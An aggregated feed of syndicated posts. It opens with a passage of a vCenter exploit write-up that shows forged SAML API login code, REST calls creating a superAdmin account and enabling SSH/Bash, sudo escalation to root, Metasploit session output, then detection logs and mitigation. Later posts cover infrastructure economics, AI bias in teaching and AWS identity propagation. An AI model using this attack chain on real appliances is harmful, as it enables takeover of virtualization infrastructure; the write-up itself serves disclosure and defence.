lib/msf/core/exploit/remote/http/vmware_vcenter.rb, API login:

token = Base64.strict_encode64(Zlib.gzip(assertion))        # [E1]
response = vcenter_api_request(
  'POST', %w[com vmware cis session], port: port, host: host,
  headers: { 'Authorization' => "SIGN token=\"#{token}\"" }
)
session_id = vcenter_api_value(response)                   # [E2]

The client gzip-compresses and Base64-encodes the assertion at [E1], following the vendor REST SDK’s SAML login example. A successful POST /rest/com/vmware/cis/session returns the API session ID at [E2]. Subsequent requests carry it in the vmware-api-session-id header. Our forged assertion returned HTTP 200 and authorized reads of the appliance’s SSH and Bash settings.

From the appliance API to root

The authenticated API session gives us a way to create credentials that SSH will accept. We created a fresh local account through the appliance local-accounts API, assigning the superAdmin role. This is an operating-system account on the appliance; creating it does not require changing an existing account’s password.

The tested build accepts the account-creation request through the legacy REST route POST /rest/appliance/local-accounts/<username>, with its configuration inside a config object. The configuration supplies the generated password, roles: [“superAdmin”], and enabled: true. The same API session enables SSH with PUT /rest/appliance/access/ssh and {“enabled”:true}, then enables Bash with PUT /rest/appliance/access/shell and {“config”:{“enabled”:true,”timeout”:600}}.

/etc/sudoers.d/applmgmt on the tested appliance:

%superAdmin ALL= PASSWD: ALL, NOPASSWD: OPERATOR_N, ADMINISTRATOR_N

That sudo rule allows the new account to run commands as root using its own generated password. An SSH login initially enters the appliance CLI, so the client requests a PTY and starts shell /bin/bash. After answering the appliance’s sudo password prompt, it starts sudo -n /bin/bash -i on the same terminal. The sudo timestamp from that authentication permits the retained root shell.

We verified uid=0(root) gid=0(root) groups=0(root),4044(shellaccess) through the resulting SSH connection. This account and password were created by the forged API session; the supplied lab root credentials were used separately for inspection and were not used to obtain this shell.
Using the sessions in Metasploit

[*] 192.168.1.81:2012 - Recovered the pending session key after 17337 guesses in 8.12 seconds
[*] 192.168.1.81:2012 - Recovered context 688f5878-e487-11f1-b101-000c29451b35, key f56a33e23fad8b8d340c8ca0887aebe1fb793bab
[+] 192.168.1.81:2012 - Authenticated as [email protected] without a password; protected directory state: 3
[+] 192.168.1.81:2012 - Saved authentication evidence to /Users/jheysel/codex_research/vsphere_armory_castle_20261119/metasploit/config/loot/20261119190933_default_192.168.1.81_vmware.vmdir.srp_059381.json
[*] VMware directory RPC session 3 opened (192.168.1.70:61547 -> 192.168.1.81:2012) at 2026-11-19 19:09:34 -0700
[*] 192.168.1.81:2012 - Interacting with vmdir session 3; use background to return to msfconsole
vmdir > whoami
Authenticated SSO principal: [email protected]
vmdir > state
Directory state: 3
vmdir > state
Directory state: 3

The Metasploit module separates the inexpensive key-disclosure check from the full authentication attempt. check creates an owned verifier and asks for its key through a second anonymous association. run then performs the pending-login search, completes SRP, and verifies the protected operation.

The module’s default RPC action retains the authenticated association and exposes a vmdir > prompt with state and whoami commands. Selecting ACTION SHELL continues through database export, SAML API authentication, and SSH to a root command shell. The fresh end-to-end test produced the following output:

[+] 192.168.1.81:2012 - Root execution verified: uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
[*] Command shell session 1 opened (192.168.1.70:62059 -> 192.168.1.81:22) at 2026-11-20 07:48:25 -0700
...
[*] 192.168.1.81:2012 - Interacting with shell session 1; use background to return to msfconsole
...
root [ /home/sebastian-fritsch ]# id
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

CreateSession defaults to true for either action. We resumed the root shell and ran id to show root access before exiting. 

The shell action saves the generated account credentials and original SSH/Bash settings before changing the appliance. It retains the temporary account and access settings while the session is open. On exit, it closes SSH, restores the original settings, and deletes its account through the API. The order matters: the appliance refuses to delete an account that still has running processes, and disabling SSH terminates active connections. Closing the console abruptly can prevent cleanup; the saved recovery details identify the account and settings to restore.

Detection opportunities

The unauthenticated key queries are visible before the client establishes packet privacy. Useful network evidence includes repeated calls to operation 1 on the SRP helper interface, with no RPC authentication verifier and context UUIDs that differ mainly in their timestamp fields. In our reproduction, those queries occur between the pending login’s initial bind and its SRP proof continuation.

The helper interface UUID, operation number, authentication state, query volume, and UUID pattern are useful together. A connection to port 2012 or an administrator SRP login on its own does not establish exploitation.

The appliance also retains evidence of the database export and subsequent administration. We recovered the following records from the same vCenter 8.0.2.00400 appliance after the test accounts had been removed.

/var/log/vmware/vmdird/vmdird-syslog.log:

2026-11-20T14:45:46.792144+00:00 info vmdird  t@140450245629504: Remote DB transfer (/storage/db/vmware-vmdir/data.mdb) granted.

The directory service records this message when its filename allowlist grants a remote database-copy request. It identifies the requested database, but does not include the caller’s address or prove that the transfer completed. An unexpected grant for data.mdb provides a timestamp to correlate with network traffic and the later API activity; legitimate directory replication can also use this interface. The SRP bypass can occur without a database-copy request, so this entry identifies the export stage.

/var/log/vmware/vapi/endpoint/endpoint-access.log:

2026-11-20T14:48:08.065Z | vAPI-I/O dispatcher-0     | e97ae44e-a503-4b58-9b68-1168c80e89c6 | 192.168.1.70 - - [20/Nov/2026:14:48:07 +0000] "POST /rest/appliance/local-accounts/sebastian-fritsch HTTP/1.1" 200 0 "-" "Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1" 233

The API access log records the source address, request path, status, and user-agent. This request creates the account used by the root-shell stage. The same file contains our POST /rest/com/vmware/cis/session, PUT /rest/appliance/access/ssh, PUT /rest/appliance/access/shell, and eventual account-deletion requests. An HTTP 200 on a settings request does not reveal which value was applied, so the appliance management log supplies the next part of the sequence.

/var/log/vmware/applmgmt/applmgmt.log:

2026-11-20T14:48:07 PM UTC [47843]INFO:vmware.appliance.localaccounts.localaccounts_impl:[email protected] created the local account user sebastian-fritsch
2026-11-20T14:48:09 PM UTC [47843]DEBUG:root:com.vmware.appliance.version1.access.ssh.set(enable=True)
2026-11-20T14:48:10 PM UTC [47843]DEBUG:root:com.vmware.appliance.version1.access.shell.set(config=Structure('ShellConfig', dict(enabled=True, timeout=600)))
2026-11-20T14:49:34 PM UTC [47843]INFO:vmware.appliance.localaccounts.localaccounts_impl:[email protected] deleted the local account  user sebastian-fritsch.

These records identify [email protected] as the account creator and show SSH and Bash being enabled. The configuration values appear in DEBUG-level records on the tested appliance; the account creation and deletion records are INFO-level. The forged SAML session is treated as an administrator session, so that identity alone does not distinguish it from legitimate administration.

/var/log/audit/sshinfo.log.1.gz, decompressed:

2026-11-20T14:48:12.368544+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 sshd[592859]: Accepted password for sebastian-fritsch from 192.168.1.70 port 62059 ssh2
2026-11-20T14:48:17.298091+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 sudo: sebastian-fritsch : TTY=pts/0 ; PWD=/home/sebastian-fritsch ; USER=root ; COMMAND=/bin/bash -i
2026-11-20T14:49:34.208901+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 userdel[593806]: delete user 'sebastian-fritsch'

The SSH and sudo records tie the new account to the API client’s address and a root Bash shell. They also retain the deletion performed during cleanup. Search sshinfo.log and its rotated copies; these entries had moved into sshinfo.log.1.gz by the time we collected them. Matching records are also available through the system journal.

/var/log/audit/audit.log:

type=EXECVE msg=audit(1795186087.886:3732): argc=6 a0="/usr/sbin/useradd" a1="-m" a2="-G" a3="superAdmin" a4="--" a5="sebastian-fritsch"
type=EXECVE msg=audit(1795186097.286:3767): argc=4 a0="sudo" a1="-n" a2="/bin/bash" a3="-i"

Linux audit records preserve the command arguments for adding the user to superAdmin and invoking sudo -n /bin/bash -i. These examples come from a rotated audit log. They remain available after the account and its home directory are removed, subject to log retention.

For this reproduced path, correlate an unexpected database-transfer grant with creation of a local administrator, SSH/Bash enablement, and an SSH login followed by sudo. The database-copy grant appears at 14:45:46 UTC, account creation at 14:48:07, and the root-shell command at 14:48:17. These are administrative operations that can occur legitimately; their sequence and whether they fit expected activity determine their value as indicators. The account name, source address, user-agent, UUIDs, and session values shown here belong to our lab run and are not fixed attacker identifiers.

Mitigation

Broadcom identifies vCenter 8.0 U3m as the fixed release for the 8.0 branch in VMSA-2026-0009 and its accompanying FAQ. Other release branches have their own guidance. Apply the vendor’s supported update for the deployed product and keep the directory-service management interfaces reachable only by the systems that need them.

The failed boundary spans both the SRP helper and the RPC runtime: a pending authentication key is exposed, and a connection can resolve a context that it does not own. Replacing predictable UUIDs alone leaves that ownership problem in place. We did not compare the vendor’s fixed binaries, so this analysis does not attribute a particular code change to the patch.

We Get the Infrastructure We Pay For

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/11/we-get-the-infrastructure-we-pay-for.html

This essay originally appeared as part of a round table in The Free Press entitled “Is America’s Infrastructure Under Attack?”

Microsoft, the FAA, banks, United Airlines, the NSA—it’s been a really bad week in cyberspace. But, amazing as it might seem, these are not related. As far as we know, they’re not the result of cyberattacks. They’re not even related to AI. (Well, that’s mostly true. The NSA will probably never tell us what went wrong.) It’s really just a series of unfortunate coincidences.

Our computerized infrastructure is vulnerable and fragile. Much of it is old, and has been incrementally patched and upgraded. A surprising amount of it is maintained by hobbyists, without any recompense. And more and more of it is centralized: the same systems affecting many different aspects of our lives and society. In many cases, it just barely works. And when it fails, it tends to fail badly.

There are a lot of technological reasons why this is true, but they are all downstream of the economic ones. The technologies we rely on are built and maintained within our economic system—and that’s where the core problem lies.

Security, safety, resilience, redundancy, recoverability—these are all essential parts of reliable technology, but they are all costs.

More importantly, they are inefficient: costs that feel wasteful until something bad happens. Modern shareholder capitalism, and private equity in particular, squeeze all inefficiencies out of a company in pursuit of near-term profits. Competition, with multiple companies competing to do the same thing, is another inefficiency. Monopolization removes that in pursuit of near-term profits.

The result is brittle systems, single points of failure. They’re more susceptible to cyberattack—both human and AI-fueled—and more susceptible to random mistakes. The more we allow unregulated capitalism to privatize gains while socializing risks, the more we should expect these sorts of failures.

Fixing this is technical, but it’s political first. It requires changing incentives, and that involves regulation and control. “What to do” is easy; finding the political will to stand up to moneyed interests and do it is hard.

Who is WEIRD? Thoughts on teaching with generative AI tools

Post Syndicated from Ben Garside original https://www.raspberrypi.org/blog/who-is-weird-thoughts-on-teaching-with-generative-ai-tools/

Teaching is one of the most creative professions, and that creativity is reflected in the many innovative ways educators use generative AI tools in education. Many of us are experimenting with AI tools to help draft lesson plans, adapt activities for different learners, create code examples, and reduce some of the repetitive work that is a part of teaching. With AI tools becoming widely used in education, it is worth asking deeper questions: whose knowledge and perspectives are AI systems actually built from, and what could be the impact?

Where does the data come from?

Imagine a History teacher planning a lesson on empires or migration. If they built the lesson on one textbook or national perspective, it may tell a very different story to a lesson built on multiple sources, cultures, and interpretations. Teachers are used to thinking critically about where their information comes from, whose perspectives are represented, and how source selection shapes their learners’ understanding.

Generative AI raises similar questions at a much larger scale. Generative AI models are created using enormous training datasets, which contain data gathered on the internet from websites, books, forums, social media platforms, and videos. The outputs of generative AI models, such as large language models (LLMs), will reflect the views, cultures, assumptions, and priorities most heavily represented in their training data. 

Where data comes from and who created the data is called ‘data provenance’ by researchers. In a research project to audit the data provenance of over 4000 datasets used to train modern AI models, the project team found that “[data] creators are heavily concentrated in the US, China, and Western Europe, with little to no representation in South America or Africa, across [text, speech, and video]”. That means the perspectives of people across South America or Africa are underrepresented in the resulting AI models.


Three maps that show where datasets used to train modern AI models come from. Darker colours mean more representation in datasets. Source: Bridging the Data Provenance Gap Across Text, Speech and Video, Longpre et al. (2024)
Three maps that show where datasets used to train modern AI models come from. Darker colours mean more representation in datasets. Source: Bridging the Data Provenance Gap Across Text, Speech and Video, Longpre et al. (2024)

Who is WEIRD?

Another research team published a paper called ‘Which humans?’ where they described testing where large language model (LLM) outputs sit among large-scale cross-cultural data on psychological measures. The team found that when prompted with cognitive psychological tasks, LLMs produced outputs most similar to the task solutions of WEIRD people: Western, Educated, Industrialised, Rich, and Democratic. Only around 12% of the world’s population are WEIRD.

A visual map illustrating the “psychological distance” between various global cultures and the AI model. Groups and nations positioned on the left side are the ones whose values and thinking styles align most closely with the model.
A visual map illustrating the “psychological distance” between various global cultures and the AI model. Groups and nations positioned on the left side are the ones whose values and thinking styles align most closely with the model.

At first glance, this might seem like a language issue. But it goes deeper than language and translation. It’s about what different cultures value, assume, and believe.

An example from education is helpful here. The book Cleverlands by Lucy Crehan explores education systems around the world. Something Crehan describes in the book is the importance many Japanese schools place on group harmony and social cohesion, and how in contrast, many Western schools encourage students to stand out, challenge ideas, and express themselves individually. Neither approach is universally “correct”, but as examples they reveal how deeply culture shapes ideas about behaviour, success, and learning itself. Ideas about what makes a “good” student, how professionalism should be expressed, how disagreement should sound, or whether people describe themselves through personal achievements or through family and community relationships can vary significantly across cultures.

One of the most interesting findings in the ‘Which humans?’ paper is that LLM outputs mostly reflected more individualistic Western styles of thinking. In practice, this means AI-generated content may reinforce particular cultural norms while presenting them as normal and universal. Students learning with AI-generated content may not only be learning computing concepts or practising programming tasks, but also absorbing the ideas about identity, communication, and belonging embedded within the generated examples and explanations.

Who is the star of the story?

These cultural assumptions become much easier to spot when language models are asked to generate stories about people. A study presented by Dr Thema Monroe-White at one of our research seminars this year demonstrated this with solid data.

The results of the study were striking. Dr Monroe-White found that stories generated by LLMs showed consistent patterns of who was the focus in the stories, who appeared successful, and who occupied positions of authority or dependency. The study explored this by asking several major LLMs to generate short open-ended stories about classrooms, workplaces, and relationships. Importantly, the prompts did not explicitly mention race, gender, or ethnicity. Yet the models still produced remarkably consistent patterns in who appeared as the “star student”, the mentor, the professional, or the person needing help.

None of the study’s prompts asked LLMs to stereotype anyone. The patterns emerged anyway. This doesn’t suggest that LLM developers deliberately intended these outcomes. Rather, the models appear to reproduce patterns of bias already embedded within their training data. That the LLMs reproduce bias without being prompted can make the bias more difficult to notice.

What does this mean for generative AI in teaching?

Many of us educators are approaching AI tools with a mixture of curiosity, caution, and creativity. We are not looking to automate teaching. We are looking for practical ways to support learners, reduce workload, and spend more time focusing on the parts of teaching that matter most.

While we do this, we need to keep in mind that these systems are built from human data, shaped by particular cultures, languages, histories, and power structures. What an AI model presents as neutral, helpful, or normal may reflect a much narrower slice of humanity than we realise.

This is not a question of whether it is right or wrong to use AI tools in education. It is about recognising that seemingly neutral outputs may still carry hidden assumptions about culture, identity, ability, and belonging. If generative AI increasingly shapes the examples, explanations, and stories our students encounter, then learning to question those assumptions may become one of the most important forms of critical thinking we teach.

Try our free resources

For AI literacy resources that promote critical thinking, explore Experience AI. https://experience-ai.org/en 

For more articles on critical thinking in the age of AI, download issue 30 of Hello World https://www.raspberrypi.org/hello-world/issues/30

The post Who is WEIRD? Thoughts on teaching with generative AI tools appeared first on Raspberry Pi Foundation.

Know the identity behind the role: Authorize and audit with trusted identity propagation

Post Syndicated from Laura Reith original https://aws.amazon.com/blogs/security/know-the-identity-behind-the-role-authorize-and-audit-with-trusted-identity-propagation/

Today, AWS is making it easier to grant access and audit activity based on the user or workload (a non-human caller, such as an application, service, or an automated workflow) behind an AWS Identity and Access Management (IAM) role. Trusted identity propagation (TIP) carries the identity of the user or workload with each AWS request, so you can grant permissions to that user or workload and trace its actions in AWS CloudTrail. Until now, TIP was available only for users who access AWS through AWS IAM Identity Center. We’ve extended TIP to IAM federation and AWS IAM Roles Anywhere, making it work for users and workloads that federate directly into IAM roles or use X.509 certificates to obtain AWS credentials. We’ve also made TIP simpler to use with IAM Identity Center.

This post explains how TIP works and what’s new with this launch. It then shows two examples of how TIP improves auditability and access control based on the user or workload behind an IAM role. The post ends with how to get started depending on your preferred federation path into AWS.

How trusted identity propagation works

Customers have told us they want to control access to AWS resources and audit activity based on the user or workload behind an IAM role. Today, access control decisions apply to the role, and CloudTrail attributes each action to the role session. To give two users or workloads different access, you either create a separate role or share one role and write policies that check session attributes. Separate roles lead to role proliferation. Session attributes carry across role sessions only when you grant additional permissions, and the session doesn’t record who set each attribute.

TIP addresses this gap by attaching identity context from a trusted source, such as your identity provider (IdP), to the role session at the time of credential issuance. This identity context identifies the user or workload behind a request and can include optional claims for the session, such as a risk score or a continuous integration and delivery (CI/CD) workflow name. Trusted sources include external SAML or OIDC IdPs configured for IAM federation, IAM Identity Center, and X.509 certificates configured for IAM Roles Anywhere.

After AWS attaches identity context to a role session, the context can’t be changed for the lifetime of the session. This approach gives IAM policies and audit records a stable reference to the user or workload behind each request. The context also carries forward to supported downstream requests. When a TIP session (a role session that carries identity context) assumes another role, AWS Security Token Service (AWS STS) carries the context into the new role session. Similarly, when an AWS service makes a downstream request on your behalf, the request uses forward access sessions (FAS), and the FAS credentials carry the identity context from your session.

Note: TIP context propagates to a new role session only when the target role is in the account where the identity provider is configured, or if the target role is in another account in the same AWS organization. To learn how account and organization boundaries determine TIP context propagation, see Understand where TIP context propagates in the IAM User Guide.

Figure 1 shows how this flow works end-to-end. A user or workload obtains AWS credentials through one of three paths. With IAM federation, the source is a SAML assertion or OIDC token for a user or workload. With IAM Identity Center, the source is the username that IAM Identity Center receives from your identity source. With IAM Roles Anywhere, the source is an X.509 certificate for a user or workload. AWS validates the source and attaches identity context to the role session. That context stays with the session’s requests, whether the session calls an AWS service directly, assumes another role, or causes an AWS service to make downstream requests through FAS. IAM policies then evaluate the identity context to authorize requests, as the Amazon Simple Storage Service (Amazon S3) bucket policy example later in this post shows, and AWS CloudTrail records it, as the AWS Lambda example shows. With IAM outbound identity federation, the session can also request a signed JSON Web Token (JWT) that carries identity context to an external service.

Figure 1: How TIP carries identity information into authorization and audit workflows

Figure 1: How TIP carries identity information into authorization and audit workflows

AWS represents the identity context carried in a TIP session through three groups of context keys. The following table summarizes their purpose and points to the corresponding documentation. For details about what these context keys contain and when they appear in a TIP session, see TIP context keys in IAM policies.

Context keys Purpose
aws:OriginIdentity/* Identifies the user or workload that started the request and the source that issued its identity.
aws:TransactionContext/IdentityProvider/* Carries optional claims from your IdP, such as a risk score or a CI/CD workflow name. Available only for IAM federation.
aws:IdentityCenterInstanceArn and aws:IdentityStoreArn Identifies the IAM Identity Center instance and identity store behind a session. If you use IAM Identity Center permission sets or IAM account access manager, you can use these keys in IAM policy conditions. For example, you can allow access only to workforce users from a specific instance.

Table 1: TIP context key categories and what they represent.

aws:OriginIdentity/* is the common namespace for identity information from IAM federation, IAM Identity Center, and IAM Roles Anywhere. Across all three paths, aws:OriginIdentity/Subject identifies the user or workload that started the request, aws:OriginIdentity/SubjectType indicates whether the request was started by a user or workload, and aws:OriginIdentity/Issuer identifies the source that issued the identity. For IAM federation and IAM Roles Anywhere, aws:OriginIdentity/FederatedProviderArn also contains the Amazon Resource Name ARN) of the IAM IdP or IAM Roles Anywhere trust anchor that authenticated the identity.

IAM policies can evaluate TIP context keys when those keys are present in the request. CloudTrail records identity context in the userIdentity element of events. The userIdentity.onBehalfOf section records the user or workload identity from aws:OriginIdentity context keys, and the userIdentity.transactionContext section records IdP claims from aws:TransactionContext/IdentityProvider context keys. For field definitions and examples see Logging TIP activity with AWS CloudTrail.

Key benefits of trusted identity propagation

TIP gives you the following benefits for authorizing and auditing access based on the user or workload behind an IAM role.

  • Audit by identity, not only by role – CloudTrail records the user or workload behind each request.
  • Authorize based on who’s asking – IAM policies can grant or restrict access based on the user or workload, or on optional claims from your IdP, such as a risk score. This gives you precise access control for each session.
  • Rely on identity you can trust – AWS attaches identity context from a trusted source when it issues credentials. That context can’t be changed for the life of the session, and it carries forward when the session assumes another role or an AWS service makes requests on your behalf.
  • Use one model across federation paths – IAM federation, IAM Identity Center, and IAM Roles Anywhere share the same core aws:OriginIdentity context keys, so you write policies and review CloudTrail consistently across more than 250 supported AWS services. Across supported workflows, identity context propagates without adding the sts:SetContext permission to role trust policies.

What’s new with this launch

This launch extends TIP to IAM federation and IAM Roles Anywhere, and simplifies TIP in IAM Identity Center. You can also share identity context with services outside AWS through IAM outbound identity federation.

  • AWS IAM Identity Center – TIP already allows AWS applications integrated with IAM Identity Center, such as AWS Lake Formation and Amazon S3 Access Grants, to audit user activity and control access based on the user’s identity. When you enable the simplified experience, Identity Center adds a username, an identifier from your identity source, alongside the system-generated identity store user ID. This identity information is carried consistently across all access paths, including application access, account access through IAM Identity Center permission sets, and IAM account access manager. With this launch, you can now use the propagated username, mapped to the aws:OriginIdentity/Subject context key, in IAM policy conditions and view it in CloudTrail events. For more information, see Simplified experience for trusted identity propagation.
  • IAM federation – For users and workloads that use direct SAML or OIDC federation into IAM roles, you choose the SAML assertion field or OIDC token claim that identifies the user or workload, and TIP attaches it to the role session. You can also map optional SAML attributes or OIDC claims, such as a risk score or a CI/CD workflow name, into aws:TransactionContext/IdentityProvider/* context keys. TIP is turned on by default for new IAM IdPs, and you can turn it on for existing providers. For more information, see TIP for IAM Federation.
  • IAM Roles Anywhere – For users and workloads outside AWS that use X.509 certificates with IAM Roles Anywhere, TIP attaches the identity from the certificate to the role session. After IAM Roles Anywhere validates the certificate against the configured trust anchor, AWS sets aws:OriginIdentity/Subject to the certificate’s Subject common name by default, or to its URI Subject Alternative Name. TIP is turned on by default for new IAM Roles Anywhere profiles, and you can turn it on for existing profiles. For details, see Trusted identity propagation with IAM Roles Anywhere.
  • IAM outbound identity federation – A TIP session can now use the AWS STS GetWebIdentityToken API operation to request a signed JSON Web Toke that includes TIP session identity context for an external service. The external service validates the token and determines how to use the information. For details, see Federating AWS identities to external services.

Use identity context for auditability and access control

The following examples demonstrate two core benefits of TIP: auditability—tracing actions back to the user or workload—and access control based on that identity. In the first example, AnyCompany uses identity context logged in CloudTrail to identify the GitHub Actions workflow run that deployed new code to a production AWS Lambda function. In the second, AnyCompany uses an Amazon Simple Storage Service (Amazon S3) bucket policy that grants read access only to low-risk sessions initiated from a specific IdP.

Trace a Lambda deployment to its GitHub Actions run

This example shows how TIP improves auditability: identity context in CloudTrail identifies the workload, and the specific workflow run, behind an action taken with a shared role. AnyCompany stores the backend code for its payment-processing application in the anycompany/payments-api GitHub repository. A code change merged into the repository’s main branch triggers the GitHub Actions workflow defined in .github/workflows/deploy.yml. The workflow uses GitHub OIDC federation to assume a shared CICDDeployRole role, then calls the Lambda UpdateFunctionCode API operation to deploy the new code to the production payments-api-prod function. CloudTrail records this operation as an UpdateFunctionCode20150331v2 management event.

Before TIP, the CloudTrail event shows that the CICDDeployRole/GitHubActions role session updated payments-api-prod. It doesn’t identify the GitHub repository, workflow file, or workflow run that performed the update. Investigators must match the event timestamp with GitHub records to find the responsible workflow run.

Figure 2: How TIP enables attribution of a production Lambda code update to the GitHub Actions run that performed it

Figure 2: How TIP enables attribution of a production Lambda code update to the GitHub Actions run that performed it

AnyCompany enables TIP on its GitHub OIDC IdP. It maps the GitHub OIDC token subject to aws:OriginIdentity/Subject, configures aws:OriginIdentity/SubjectType as workload, and maps the repository, workflow_ref, and run_id claims into aws:TransactionContext/IdentityProvider/* context keys. The resulting role session identifies the workload and carries the information needed to trace the deployment to its GitHub Actions run.

With TIP, the CloudTrail management event for the Lambda UpdateFunctionCode API operation on payments-api-prod now contains the workload and workflow information:

{ 
  "eventSource": "lambda.amazonaws.com", 
  "eventName": "UpdateFunctionCode20150331v2", 
  "recipientAccountId": "111122223333", 
  "requestParameters": { 
    "functionName": "payments-api-prod" 
  }, 
  "userIdentity": { 
    "type": "AssumedRole", 
    "arn": "arn:aws:sts::111122223333:assumed-role/CICDDeployRole/GitHubActions", 
    "onBehalfOf": { 
      "federatedProviderArn": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com", 
      "subject": "repo:anycompany/payments-api:environment:production", 
      "subjectType": "workload", 
      "issuer": "token.actions.githubusercontent.com" 
    }, 
    "transactionContext": { 
      "IdentityProvider": { 
        "repository": "anycompany/payments-api", 
        "workflow_ref": "anycompany/payments-api/.github/workflows/deploy.yml@refs/heads/main", 
        "run_id": "19283746550" 
      } 
    } 
  } 
} 

An investigator can now see that GitHub Actions run 19283746550 from the anycompany/payments-api repository updated the production payments-api-prod function through the deploy.yml workflow. The shared role, its trust policy, and its permissions remain unchanged. TIP adds workload and workflow attribution to the existing deployment model.

Authorize access based on session risk

This example shows how TIP supports access control: an Amazon S3 bucket policy uses a runtime risk signal from an IdP to decide, per session, whether a user of a shared role can read sensitive data. AnyCompany’s workforce users federate to AWS through an OIDC IdP and use a shared DataAccessRole to read objects from an Amazon S3 bucket. AnyCompany configures its IdP to evaluate each authentication and add a numeric risk score, from 0 to 100, to the OIDC token as a custom claim. AnyCompany enables TIP on the IAM OIDC IdP and maps the riskScore claim to the aws:TransactionContext/IdentityProvider/riskScore context key. During federation, AWS validates the token and attaches the mapped riskScore value to the role session. AWS derives aws:OriginIdentity/Issuer from the iss (issuer) claim in the OIDC token.

Before TIP, a bucket policy that grants access to DataAccessRole gives every user who assumes the role the same access, regardless of how risky their authentication was. With TIP, an S3 bucket policy can evaluate both the IdP that issued the token and the risk score carried in the session. The following policy grants read access only when the expected IdP (issuer) issued the identity, and the current session has a risk score of 30 or lower. The issuer condition prevents a riskScore value from another IdP from satisfying the policy.

Figure 3: How an S3 bucket policy uses trusted identity context to make a per-session access decision

Note: This policy example is for the IAM federation access path. Mapping SAML attributes or OIDC claims to optional aws:TransactionContext/IdentityProvider/* context keys is available only for IAM federation.

Amazon S3 bucket policy using trusted runtime context

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowLowRiskSensitiveDataRead",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::111122223333:role/DataAccessRole"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::amzn-s3-demo-bucket/restricted/*",
      "Condition": {
        "StringEquals": {
          "aws:OriginIdentity/Issuer": "idp.example.com"
        },
        "NumericLessThanEquals": {
          "aws:TransactionContext/IdentityProvider/riskScore": "30"
        }
      }
    }
  ]
}

The policy has two conditions: the identity must come from idp.example.com, and the session’s risk score must be 30 or lower. A low-risk session from idp.example.com satisfies both conditions. A session with a risk score above 30, a missing risk score, or a different issuer doesn’t receive access from this policy. The risk score remains fixed for the lifetime of the role session, so choose a session duration appropriate for the sensitivity of the access.

Additional considerations

Missing TIP context keys. A TIP context key is missing when the session carries no identity context or the request goes to an AWS service that doesn’t support TIP. To prevent an Allow statement from granting access when a required key is missing, use operators without IfExists, such as StringEquals or NumericLessThanEquals, as the preceding bucket policy does. Avoid operators such as StringEqualsIfExists in an Allow statement because they evaluate to true when the key is missing. In a Deny statement, add IfExists when the Deny should also apply if the key is missing. Such a Deny also applies to requests sent to AWS services that don’t support TIP, so confirm service support before adding TIP conditions. For more information, see Condition operators.

TIP conditions with cached AWS KMS data keys. Some AWS services, such as Amazon SQS, reuse cached AWS KMS data keys across requests from different sessions of the same IAM role, because the cache key is based on the role and does not include TIP context. When an AWS service reuses a cached data key, it does not send a new authorization request to AWS KMS, so AWS KMS does not evaluate the later session’s TIP context. If you use TIP context to control access to encrypted data, enforce the TIP conditions in the policy for the encrypted resource, such as an Amazon S3 bucket policy, rather than relying only on the AWS KMS key policy. For more information, see AWS KMS guidance for cached data keys.

Choose your TIP approach and get started

Your first step to getting started with TIP depends on how your users and workloads obtain AWS credentials. Use the following table to find the TIP option for your use case and get started.

Use case TIP option How to start
Centrally managed workforce access IAM Identity Center All IAM Identity Center instances can upgrade to the simplified experience for TIP. Before you upgrade, review the considerations for the simplified experience. For more information, see Simplified experience for trusted identity propagation.
Direct SAML or OIDC federation into IAM roles IAM federation New IAM IdPs have TIP turned on by default. For an existing IdP, turn on TIP on that provider, then map the claim that identifies the user or workload, and any optional claims your policies need, to TIP context keys. For more information see TIP for IAM Federation.
X.509-based access for users and workloads outside AWS IAM Roles Anywhere New profiles have TIP turned on by default. For an existing profile, enable TIP on the profile. For details, see Trusted identity propagation with IAM Roles Anywhere.

Conclusion

With this launch, TIP carries the identity of the user or workload from a trusted identity source into the role session for IAM federation, IAM Identity Center, and IAM Roles Anywhere. You can grant access based on the user or workload making the request and use CloudTrail to trace actions across more than 250 supported AWS services back to that identity. This gives you a consistent authorization and audit model across federation paths, without creating a separate role for every identity or adding the sts:SetContext permission to role trust policies.

To get started, find your federation path in the preceding table and follow the steps in the How to start column.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Laura Reith

Laura Reith

Laura is an Identity Solutions Architect at AWS, where she thrives on helping customers overcome security and identity challenges. In her free time, she enjoys wreck diving and traveling around the world.

Rishi Tripathy

Rishi Tripathy

Rishi is a Principal Product Manager on the AWS Identity and Access Management (IAM) team. He focuses on access control mechanisms that help enterprises secure their AWS environments at scale. He is passionate about building security primitives that are straightforward to adopt and hard to misconfigure.

Songzhi Liu

Songzhi Liu

Songzhi is a Principal Big Data Architect with the AWS Identity Solutions team. In this role, he collaborates closely with AWS customers and cross-functional teams to design and implement scalable data architectures, focusing on integrating big data and machine learning solutions to enhance identity awareness within the AWS ecosystem.

Shweta Motwani

Shweta Motwani

Shweta is a Senior Product Manager on the AWS IAM Identity Center team, focused on increasing identity awareness across AWS services to allow for improved auditing and access control. Shweta joined AWS in 2017 and has previously worked as a product manager in Amazon EBS, driving Provisioned IOPS growth and with software partners in the AWS Partner Network.

The collective thoughts of the interwebz